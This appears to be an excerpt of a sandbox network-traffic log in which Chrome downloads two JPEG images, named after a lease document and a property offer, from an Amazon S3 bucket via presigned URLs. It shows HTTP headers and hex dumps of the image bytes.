b4 c4 30 41 88 17 4b 71 ba 1c 57 49 71 aa 1c ef 93 f9 c4 c5 b0 20 6e Data Ascii: PNGIHDR`j`"?iCCPICC ProfileHWXS[@h@J-"IPb;ElbYEe],7)}s93-)H#'%I=:-7Ww'RWs Qr9y<0AKqWIq n
2024-04-25 13:30:09 UTC	11337	IN	Data Raw: 82 1d c1 93 c0 26 8c 27 a4 13 a6 13 8a 09 65 84 ed 84 c3 84 b3 f0 59 ea 26 bc 23 12 89 3a 44 2b a2 3b 7c 16 93 88 99 c4 99 c4 a5 c4 0d c4 bd c4 53 c4 76 62 17 71 80 44 22 e9 91 ec 48 de a4 48 12 87 94 47 2a 26 ad 27 ed 26 9d 24 5d 23 75 93 3e 28 29 2b 19 2b 39 29 05 29 25 2b 09 95 8a 94 ca 94 76 29 9d 50 ba a6 f4 4c e9 33 59 9d 6c 41 f6 24 47 92 79 e4 19 e4 e5 e4 6d e4 26 f2 15 72 37 f9 33 45 83 62 45 f1 a6 c4 51 32 29 f3 29 e5 94 3a ca 59 ca 7d ca 1b 65 65 65 53 65 0f e5 68 65 81 f2 3c e5 72 e5 7d ca 17 94 1f 29 7f 54 d1 54 b1 55 61 a9 4c 54 91 a8 2c 53 d9 a1 72 4a e5 8e ca 1b 2a 95 6a 49 f5 a3 26 53 f3 a8 cb a8 35 d4 33 d4 87 d4 0f aa 34 55 07 55 b6 2a 4f 75 ae 6a a5 6a bd ea 35 d5 97 6a 64 35 0b 35 a6 da 64 b5 42 b5 32 b5 83 6a 57 d4 fa d4 c9 ea 96 ea Data Ascii: &'eY&#:D+;\|SvbqD"HHG&'&$]#u>()++9))%+v)PL3YlA$Gym&r73EbEQ2)):Y}eeeSehe<r})TTUaLT,SrJjI&S534UU*Oujj5jd55dB2jW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49712	18.244.197.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:08 UTC	1151	OUT	GET /z0t4w7u8omptii0ahi8fvkg3o4b5?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg%22%3B%20filename%2A%3DUTF-8%27%27Pages%2520from%25202024-2025%2520April%2520Caleb%2520Lease.docx.jpg&response-content-type=image%2Fjpeg&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=e247b392a5d99122054d893c7b254dc88b03abcb849b6228ee64c969cca4ae63 HTTP/1.1 Host: contentsnare-production.s3-accelerate.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:08 UTC	957	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Length: 211541 Connection: close x-amz-id-2: wgq+p1e6PppHIF2koNaFJ6Fgw74YmwTPAFtn3JD9o3z7//3y8a+IDR9udK5eGUujbV9/YYptXec= x-amz-request-id: AMAZTHEXNFEBSTHP Date: Thu, 25 Apr 2024 13:30:09 GMT Last-Modified: Wed, 24 Apr 2024 13:12:41 GMT ETag: "2d959ba6c65d955a7cc031a1309abec6" x-amz-server-side-encryption: aws:kms x-amz-server-side-encryption-aws-kms-key-id: arn:aws:kms:us-east-1:359876452365:key/9cd98b6e-a093-42c0-abd9-7a1db4f84494 x-amz-server-side-encryption-bucket-key-enabled: true Content-Disposition: inline; filename="Pages from 2024-2025 April Caleb Lease.docx.jpg"; filename*=UTF-8''Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 acd64d94200c03116b6868dd02f59d12.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P4 X-Amz-Cf-Id: 6vIEfSRpWeSw8y-qNiUtY_DUdYc-2NklFZrIGzPejBfW6m4NMy4MIA==
2024-04-25 13:30:08 UTC	1197	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 01 0a 01 0a 00 00 ff e2 0f d0 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0f c0 61 70 70 6c 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e8 00 01 00 16 00 01 00 2a 00 14 61 63 73 70 41 50 50 4c 00 00 00 00 41 50 50 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 61 70 70 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 64 65 73 63 00 00 01 50 00 00 00 62 64 73 63 6d 00 00 01 b4 00 00 04 9c 63 70 72 74 00 00 06 50 00 00 00 23 77 74 70 74 00 00 06 74 00 00 00 14 72 58 59 5a 00 00 06 88 00 00 00 14 67 58 59 5a 00 00 06 9c 00 00 00 14 62 58 59 5a 00 00 06 b0 00 00 00 14 72 Data Ascii: JFIFICC_PROFILEapplmntrRGB XYZ *acspAPPLAPPL-appldescPbdscmcprtP#wtpttrXYZgXYZbXYZr
2024-04-25 13:30:08 UTC	16384	IN	Data Raw: 6f 00 75 00 6c 00 65 00 75 00 72 20 0f 00 4c 00 43 00 44 00 20 06 45 06 44 06 48 06 46 06 29 04 1a 04 3e 04 3b 04 4c 04 3e 04 40 04 3e 04 32 04 38 04 39 00 20 00 4c 00 43 00 44 20 0f 00 4c 00 43 00 44 00 20 05 e6 05 d1 05 e2 05 d5 05 e0 05 d9 5f 69 82 72 00 4c 00 43 00 44 00 4c 00 43 00 44 00 20 00 4d 00 e0 00 75 00 46 00 61 00 72 00 65 00 62 00 6e 00 fd 00 20 00 4c 00 43 00 44 04 26 04 32 04 35 04 42 04 3d 04 3e 04 39 00 20 04 16 04 1a 00 2d 04 34 04 38 04 41 04 3f 04 3b 04 35 04 39 00 43 00 6f 00 6c 00 6f 00 75 00 72 00 20 00 4c 00 43 00 44 00 4c 00 43 00 44 00 20 00 63 00 6f 00 75 00 6c 00 65 00 75 00 72 00 57 00 61 00 72 00 6e 00 61 00 20 00 4c 00 43 00 44 09 30 09 02 09 17 09 40 09 28 00 20 00 4c 00 43 00 44 00 4c 00 43 00 44 00 20 0e 2a 0e 35 00 4c Data Ascii: ouleur LCD EDHF)>;L>@>289 LCD LCD _irLCDLCD MuFarebn LCD&25B=>9 -48A?;59Colour LCDLCD couleurWarna LCD0@( LCDLCD *5L
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a4 26 82 69 8c d4 00 a5 a9 37 54 6c f4 d2 f4 01 36 ea 5d d5 5f cc a3 cc a2 c0 58 dd 46 fa af e6 d2 79 b4 ec 05 9d f4 6f aa be 75 1e 75 16 02 d6 fa 37 55 5f 3a 9c 25 a5 60 2c 86 a5 cd 40 24 a7 07 a0 09 73 48 5a a3 2f 4d 2f 40 12 ee a3 75 41 e6 52 79 b4 58 0b 3b a8 dd 55 fc da 3c da 00 b1 ba 8d d5 5f cd a3 cd a0 0b 1b a8 dd 55 fc da 4f 36 8b 01 67 75 1b aa bf 9b 4b e6 50 04 fb a9 0b 54 5e 65 34 c9 40 13 6f a3 7d 57 32 53 7c da 76 02 d6 fa 5d d5 54 4b 4e f3 68 b0 16 77 51 ba ab f9 b4 79 b4 80 b1 ba 8d d5 07 9b 4b e6 50 04 f9 a3 35 08 7a 76 ea Data Ascii: ((((((((((((((((((&i7Tl6]_XFyouu7U_:%`,@$sHZ/M/@uARyX;U<_UO6guKPT^e4@o}W2S\|v]TKNhwQyKP5zv
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 00 56 db 4e 0b 53 88 69 c2 1a 00 89 56 a4 55 a9 04 54 f5 8e 80 23 55 a9 55 69 c2 3a 91 52 80 04 15 3a 54 6a b5 2a 8a 00 95 69 e2 98 a2 9e 28 01 68 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 43 4c 63 4e 35 0c 86 80 18 ef 50 b4 b4 d9 9e aa 49 2d 00 5b f3 a9 e9 2d 66 79 d5 34 52 d0 06 a2 3e 6a 65 35 46 27 ab 48 d4 01 2d 23 52 83 4d 6a 00 8d cd 40 ef 52 3d 57 90 d0 02 34 94 9e 65 44 cd 51 97 a0 0b 42 4a 70 96 a9 ef a3 cc a0 0b a2 4a 77 99 54 84 b4 f1 25 00 59 32 53 4c 95 0e fa 69 7a 00 94 cb 4d f3 6a 06 7a 61 7a 00 b6 25 a7 89 6a 88 92 9c 24 a0 0b be 6d 2f 9b 54 bc da Data Ascii: VNSiVUT#UUi:R:Tj*i(h(((((((((((((((((((CLcN5PI-[-fy4R>je5F'H-#RMj@R=W4eDQBJpJwT%Y2SLizMjzaz%j$m/T
2024-04-25 13:30:09 UTC	1024	IN	Data Raw: af 79 bf f4 06 a3 c2 7f f1 e7 6d ff 00 5e f0 ff 00 e8 0b 40 17 6f db 6a fe 3f e3 54 7c ca b5 aa b6 14 7f bd fd 0d 65 89 29 81 6c 49 4b be ab 07 a7 87 a5 60 26 df 46 fa 8b 7d 34 bd 00 4d e6 51 e6 55 73 25 26 fa 76 02 cf 99 47 99 55 b7 d2 ef a2 c0 59 f3 29 77 d5 60 f4 f0 d4 01 3e ea 37 54 41 a9 73 48 07 97 a6 99 29 8c d5 1b 3d 00 4b e6 51 e6 55 62 f4 6f a7 60 2d 09 29 7c ca a8 1e 9d be 8b 01 67 cc a3 cc aa db e8 df 45 80 b3 e6 51 e6 55 6d f4 6f a2 c0 59 f3 28 f3 2a b6 fa 3c ca 2c 05 9f 32 8f 32 ab 79 94 9e 65 16 02 d7 99 47 99 55 7c ca 70 7a 2c 05 9d f4 bb ea b8 7a 5d d4 80 9b 7d 1e 65 42 5e 9a 5e 9d 80 9f cc a3 cc aa fb e9 37 d1 60 2c f9 94 79 95 5f 7d 1b e8 b0 13 f9 94 79 95 06 fa 42 f4 58 09 fc ca 4f 36 ab 97 a6 99 28 b0 16 bc da 5f 36 a9 f9 94 be 65 16 Data Ascii: ym^@oj?T\|e)lIK`&F}4MQUs%&vGUY)w`>7TAsH)=KQUbo`-)\|gEQUmoY(*<,22yeGU\|pz,z]}eB^^7`,y_}yBXO6(_6e
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: e9 5d d6 b3 ac 26 97 11 99 cf 00 1c 74 eb 82 7f a5 7c e5 13 1b 39 b8 e0 ab 1f e7 5d bf 8e bc 4c d7 f0 2c 79 ee 3f 91 a0 0c 8f 12 f8 ee 6d 55 ca af 0b 93 8c 7d 6b 24 58 5c 95 f3 30 d8 ff 00 74 ff 00 85 6b fc 38 d0 97 54 9f 12 0f 94 7f 81 af 71 3a 54 5b 76 6c 5c 63 fb a3 fc 28 03 c1 fc 3f e3 59 f4 76 c1 e9 df 3c 57 a2 f8 cb 5f 17 da 79 b8 88 f7 1d 31 fd ec 7b fa 55 2f 11 fc 2d 17 92 99 22 e0 1f 4c 0e e4 d5 4f 10 f8 7d b4 3d 39 a1 63 9f 98 75 ff 00 78 9f eb 40 1c 97 84 75 69 5e 75 05 89 1c 7f 31 5e fd 6c 72 a0 fb 0a f9 db c1 df f1 f0 bf 87 f3 15 f4 45 af dc 1f 41 40 1e 53 f1 7f 50 7b 79 90 21 c0 db fd 4d 1f 0d 67 7d 40 34 6c 73 fe 4d 57 f8 cf fe be 3f f7 3f a9 a9 be 10 fd e3 fe 7d 68 03 86 f1 05 ab 5a ce ea c0 8e 47 51 8e c2 ba df 07 7c 47 3a 62 88 65 fb a0 Data Ascii: ]&t\|9]L,y?mU}k$X\0tk8Tq:T[vl\c(?Yv<W_y1{U/-"LO}=9cux@ui^u1^lrEA@SP{y!Mg}@4lsMW??}hZGQ\|G:be
2024-04-25 13:30:09 UTC	1024	IN	Data Raw: e7 03 81 b7 3d bd 69 df de 4f ca df 80 3d 6f ea 79 5f 85 74 b6 9e e2 7b 67 ba 7b 69 43 7f 09 2b bc 82 73 fc 4b c8 ed f5 ae e7 c3 be 07 5b 1b b1 78 d7 46 79 55 4f 0d 82 d8 23 6e 49 dc c7 03 35 a7 e2 2f 87 b6 9a f3 79 b2 82 b2 1e ad 19 c1 3f 5c 82 0f e5 52 78 63 c0 d6 fe 1c 25 e1 dc 59 86 09 76 c9 c7 5e 80 01 fa 51 16 12 d5 bf 33 5f 53 8d a4 8a 45 4f bc 51 80 fa e3 8a f3 bf 83 ba 9c 36 f1 cb 6a e4 2c de 66 70 c7 04 8c 01 8e 7d 08 3c 7b d7 a7 57 2b ae fc 34 b3 d6 1c cc ca c8 ed d4 c6 40 c9 f5 20 82 33 ef 8a 16 8d f9 a0 dd 1c cf 85 18 3e b5 72 41 c8 2a fd 3e ab 4c f8 5d 76 9a 7d cd cd b4 e4 2c c5 86 37 1c 67 69 6d c3 9f ae 6b b1 f0 df 80 ed bc 3e c6 58 43 17 23 1b 9d b2 70 7d 86 07 6f 4a 67 88 be 1f 5a eb cd e6 ca 0a c8 7a b4 67 04 fd 72 08 3f 95 0b 44 97 95 Data Ascii: =iO=oy_t{g{iC+sK[xFyUO#nI5/y?\Rxc%Yv^Q3_SEOQ6j,fp}<{W+4@ 3>rA*>L]v},7gimk>XC#p}oJgZzgr?D
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 15 2a 55 4a 00 68 a0 8a 93 65 05 28 02 1a 51 4f 2b 40 5a 00 72 d4 80 53 55 6a 55 5a 00 61 5a 63 2d 58 d9 4c 64 a0 0a 8c 2a 32 2a d3 a5 44 c9 40 10 d2 d3 8a 51 b6 80 1b 48 69 fb 68 d9 40 11 d1 4f d9 46 ca 00 68 a5 a7 84 a5 09 40 0c c5 00 54 9b 29 42 50 03 56 9e 29 42 53 82 50 03 69 ad 52 ec a6 b2 d0 05 76 a8 c9 ab 0c 95 13 25 00 45 9a 51 4e f2 e9 c1 28 01 52 ad 45 50 a2 55 98 d6 80 27 8e ac a5 41 18 ab 0b 40 0f 14 b4 82 96 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 10 d4 6d 52 1a 89 e8 02 17 a8 5e a5 73 50 39 a0 06 30 a6 15 Data Ascii: UJhe(QO+@ZrSUjUZaZc-XLd2*D@QHih@OFh@T)BPV)BSPiRv%EQN(REPU'A@(((((((((((((((((((((((mR^sP90
2024-04-25 13:30:09 UTC	1024	IN	Data Raw: a4 85 6d 95 e3 da 63 47 0f b9 b3 9d e7 68 0b fd 6b 47 c5 fa 2c 9a a4 4a 61 20 4b 0c 8b 22 6e e8 4a f6 3f 51 5b d4 53 ec 07 09 aa 5a ea 1a e1 81 a4 81 62 48 67 8d 99 7c c5 76 38 3c b6 46 00 00 76 e5 8d 5e bf b0 ba d2 6e 64 bd b4 8d 66 4b 80 bb e3 2e 23 60 c8 30 18 33 71 8c 75 15 d6 d1 40 1c b6 93 a0 cb 78 f3 5e 5e 05 47 9e 31 18 44 3b b6 27 3c 16 e8 49 27 9c 71 55 34 a3 a9 69 48 b6 0b 02 38 8f e5 59 8c a0 2e d1 d3 29 f7 b3 8f 4a ed 28 a3 60 39 1d 42 c6 eb 4c bc 7b db 58 84 cb 3a 22 b2 99 04 65 4a 70 0e 5b 39 18 f4 e6 9b a0 68 b7 30 9b c9 2e 15 77 dc 6d 2b b0 fc a7 e4 23 03 27 3c 67 1c e3 3d 6b b0 a2 95 b4 b7 c8 2f ad ce 46 0d 0e 64 d2 be c2 57 f7 de 4b 2e dc af 53 9e 33 9c 7e b4 be 21 d0 e6 bb d3 96 ce 35 cc a1 21 1b 72 a3 95 2b 9e 49 c7 18 f5 ae b6 8a a6 Data Ascii: mcGhkG,Ja K"nJ?Q[SZbHg\|v8<Fv^ndfK.#`03qu@x^^G1D;'<I'qU4iH8Y.)J(`9BL{X:"eJp[9h0.wm+#'<g=k/FdWK.S3~!5!r+I
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 0b a8 24 12 05 c9 d8 71 91 b7 27 9e 47 7f 5a ea 28 a3 a0 75 30 b4 5d 42 f2 ed ff 00 d2 20 58 63 0a 7f e5 a8 91 8b 71 8c 6d e0 0c 67 af 35 95 e1 bd 26 e2 cb cc d3 65 88 1b 77 69 4f 9a 24 1c 87 ce 06 ce b9 e7 af 4a ec a8 a1 ea 07 15 a6 36 a3 a2 c6 b6 2b 6e 92 ac 7f 2a cb e7 04 5d bd b2 84 6e c8 1d 71 57 7c 45 a4 5c 4d f6 7b d8 42 b5 c5 b6 49 4c ed 56 0e b8 75 04 f4 f6 cf e3 5d 45 14 01 c4 fd 86 fb 52 bb b6 bc 9e 25 8e 38 8c 9f 20 70 ec bb 93 19 2d c0 39 38 c0 51 c7 7a ed a8 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 32 7c 59 ff 00 1e 77 3f f5 ef 37 fe 80 d4 78 4f fe 3c ed bf eb de 1f fd 01 68 Data Ascii: $q'GZ(u0]B Xcqmg5&ewiO$J6+n*]nqW\|E\M{BILVu]ER%8 p-98Qz(((((((((((((((((2\|Yw?7xO<h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49715	18.244.197.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:09 UTC	1155	OUT	GET /id4bw8i9c1l9f4v2rng272la9b53?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%207953%20Cedar%20Drive%20Offer%255B83%255D.jpg%22%3B%20filename%2A%3DUTF-8%27%27Pages%2520from%25207953%2520Cedar%2520Drive%2520Offer%255B83%255D.jpg&response-content-type=image%2Fjpeg&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=b19cd8bfd37111eacd64b16cd2d43f38824f756d2b9a6e9642686b8393c5c0c2 HTTP/1.1 Host: contentsnare-production.s3-accelerate.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:09 UTC	953	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Length: 336576 Connection: close x-amz-id-2: hVzhKkwAga2TpxY+Kkagxy5o+ZEjGRVGVLwevHZ2vavuxStW/cwascXSInOrjKsZuQoIKQsMjZk= x-amz-request-id: J1V2HSPBFXCVG51K Date: Thu, 25 Apr 2024 13:30:10 GMT Last-Modified: Wed, 24 Apr 2024 13:07:45 GMT ETag: "f85810b41ccfd17e24084686ff76533f" x-amz-server-side-encryption: aws:kms x-amz-server-side-encryption-aws-kms-key-id: arn:aws:kms:us-east-1:359876452365:key/9cd98b6e-a093-42c0-abd9-7a1db4f84494 x-amz-server-side-encryption-bucket-key-enabled: true Content-Disposition: inline; filename="Pages from 7953 Cedar Drive Offer%5B83%5D.jpg"; filename*=UTF-8''Pages%20from%207953%20Cedar%20Drive%20Offer%5B83%5D.jpg Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 7a6e1b7aa4f33d93a0e21180fbc0ffac.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P4 X-Amz-Cf-Id: lOMTURKy_Ttt3-rwOtQNPjHqpLo221-dhssZKzIAeIT1PdwCaJX2mA==
2024-04-25 13:30:09 UTC	1200	IN	Data Raw: ff d8 ff e1 00 56 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 00 00 00 00 00 00 00 c8 00 00 00 01 00 00 00 c8 00 00 00 01 ff e0 00 10 4a 46 49 46 00 01 01 01 00 c8 00 c8 00 00 ff e2 01 d8 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: VExifMM*>F(JFIFICC_PROFILE0mntrRGB XYZ acsp-
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 6d 9c dc 01 ac 87 3b e3 3e d4 18 71 74 bc 30 0b 83 85 73 e7 1d 94 f2 38 a0 8d 8d a6 e1 34 93 ce 13 27 27 71 9f 03 24 16 e1 e9 b8 4e c5 d9 cb 1c 3c 7e 48 25 60 e9 58 6f 68 93 81 a6 33 3f 2c 7c d5 05 d7 69 26 01 3e 70 3f ea f9 a0 b2 74 cc 16 ca 6e 15 fe a2 80 34 c4 23 50 45 7f a8 a0 c8 66 92 86 48 93 bf b8 f9 df ab 19 a0 c9 6d bd 8e 32 e7 4f 73 b7 e5 3a a0 bd f5 a6 9c 09 3f ea 1e 28 89 98 88 e7 bf 48 5a 89 6c 68 9d 70 18 93 81 c3 c3 05 31 4c cf 2f 8f 46 33 5e 33 99 e7 f2 f4 8f df 19 61 3e dc 09 a1 9f 5f c6 7e 6a af dd f9 fc bf b6 73 7b 1d 77 f5 c6 63 eb ee e9 bb d6 5b 01 33 9d 47 f5 60 30 d7 5e ad 8a 38 27 c7 ef ef d5 1d ec 4c c6 f9 99 89 ce f9 9f 4f 3f 8f 2f 49 48 42 b5 83 4e ac 66 35 ce 86 55 d9 85 54 70 d5 e1 f7 f5 fd da 53 5c 6d 19 9d f3 b6 66 26 3d 3c Data Ascii: m;>qt0s84''q$N<~H%`Xoh3?,\|i&>p?tn4#PEfHm2Os:?(HZlhp1L/F3^3a>_~js{wc[3G`0^8'LO?/IHBNf5UTpS\mf&=<
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 17 a1 ad 8e 2d 05 af ae fa f8 fe e8 36 f6 dd fb 53 e1 89 b1 d3 19 e5 41 e1 db 9a 08 3b 75 dd b5 09 90 c7 4a 66 84 1a f8 d7 b5 04 33 b4 7e 97 87 66 b4 58 59 68 b5 b2 c3 68 b4 59 ad 96 9b 13 23 45 16 58 f6 bb 0c 3b 64 1b 15 a6 3d 9c 38 41 8b 69 b1 c1 d2 16 f8 36 58 f1 18 e8 b0 21 5b 6d 6c 84 e6 32 d3 19 af 08 97 68 2b 73 89 1c d7 48 60 64 7b fe 48 2a 6e 80 b6 53 d5 7c f5 c8 ca 7a fc 84 12 f6 4b bf 6c 20 12 d7 19 01 af 88 ee f0 41 3b 0e ef 5a 8b 7f 86 fd 78 1c 29 b7 b1 06 05 a7 41 5b 98 0c 9a f3 88 cf 3e d2 69 dc 83 55 b6 e8 8b 70 27 d5 78 35 d7 ba 7b f6 94 11 0c d0 f6 e3 12 45 af 23 af 1a 1c 6b 52 32 d6 83 71 d1 5a 06 d6 ee 6c d8 f2 64 31 98 d5 5a e7 c7 8d 10 75 0b 0e 88 d2 56 88 36 48 56 98 f6 98 d0 6c 30 0d 96 c3 0a 34 58 b1 59 63 b2 be d7 69 b6 be cd 65 Data Ascii: -6SA;uJf3~fXYhhY#EX;d=8Ai6X![ml2h+sH`d{H*nS\|zKl A;Zx)A[>iUp'x5{E#kR2qZld1ZuV6HVl04XYcie
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 4f 63 4f f2 8d db d0 67 40 b8 4d 6b 81 e8 70 34 f5 71 3b 87 ed 5d e8 37 2d 1b 74 44 19 4a 10 12 96 02 58 8c a5 a8 79 c2 61 b2 8b b4 d0 ca b0 4c 03 97 c3 84 fc 10 40 5b ae 8b 22 83 38 43 1f 77 58 d8 05 06 3a d0 6a f1 ae 33 1c 7f 84 05 4f e5 f2 67 f3 41 65 97 0d 8d 70 22 10 32 cb 9a 04 f8 20 d9 2c 37 3d b0 80 f6 7a 89 a1 e0 83 60 17 69 bc c2 3a 3a ca 58 63 2c 29 9f 0d 68 35 fd 23 74 c4 50 e1 d1 cf ab 1a 8c 3a b0 db 2e a0 d2 2d 77 0c 44 7b bd 88 33 27 29 ca b4 c6 87 8c e7 b3 10 c3 67 27 ad 69 9f 43 fd a3 1f 33 41 31 66 b8 4d 6d 7a 20 6b 87 34 65 d5 d7 c3 33 34 19 8e b8 ac 97 f0 87 e8 97 c2 5c 7b d0 58 6d c4 63 5e 25 08 75 34 70 a7 0c 73 41 b3 68 eb a0 21 4b d9 4a 66 94 c2 82 b8 67 f1 41 b0 9b b0 39 94 87 59 63 2e 3b 3a 90 6b 1a 52 e6 36 23 5d ec 87 ac 2b ea Data Ascii: OcOg@Mkp4q;]7-tDJXyaL@["8CwX:j3OgAep"2 ,7=z`i::Xc,)h5#tP:.-wD{3')g'iC3A1fMmz k4e34\{Xmc^%u4psAh!KJfgA9Yc.;:kR6#]+
2024-04-25 13:30:09 UTC	1024	IN	Data Raw: f2 28 1d 3f 41 e8 1e 84 33 d5 03 09 61 59 76 f0 f9 a0 de 3e cf 0d 85 29 60 24 69 4d fb 47 9a 62 83 45 d3 fa 28 c4 0f 00 6b a8 18 4f 0c 70 f8 09 67 24 1c 83 49 5d 97 bd e4 86 1f 24 ec 97 99 81 44 18 56 4b b7 12 1c 5f e1 ed f1 c7 b2 53 96 ac 24 1d 27 42 e8 ce 8f 9b 3d 94 38 79 cb bb 04 1b bb 34 60 7c 39 73 68 41 ac ba f6 f7 f5 e6 83 5b d2 d7 68 c7 0e 01 93 cc 52 7c 4c bc 10 68 56 cb 96 f7 b8 ca 1e 20 e2 04 eb 8f 1c e5 59 a0 8e 37 19 e7 fc 23 4d 83 e3 dc 82 d4 5b 8a 41 99 84 30 d5 5c f6 79 ea 28 30 cd cb e6 9f c0 76 48 1f 0f 96 f4 1b 0e 89 ba c5 91 1b ea 09 cc 4e 9b ab 2c c6 02 78 6f 41 da 34 16 82 e6 31 93 6d 04 80 d7 e4 ec 97 88 6d 91 f4 30 30 c0 e6 d6 52 a8 c7 75 30 c6 58 ee 25 06 81 a5 2e db a2 c4 77 a8 4d 7b f6 0c e9 d5 29 ef 08 eb 25 d6 7b 5e 0f 33 fb Data Ascii: (?A3aYv>)`$iMGbE(kOpg$I]$DVK_S$'B=8y4`\|9shA[hR\|LhV Y7#M[A0\y(0vHN,xoA41mm00Ru0X%.wM{)%{^3
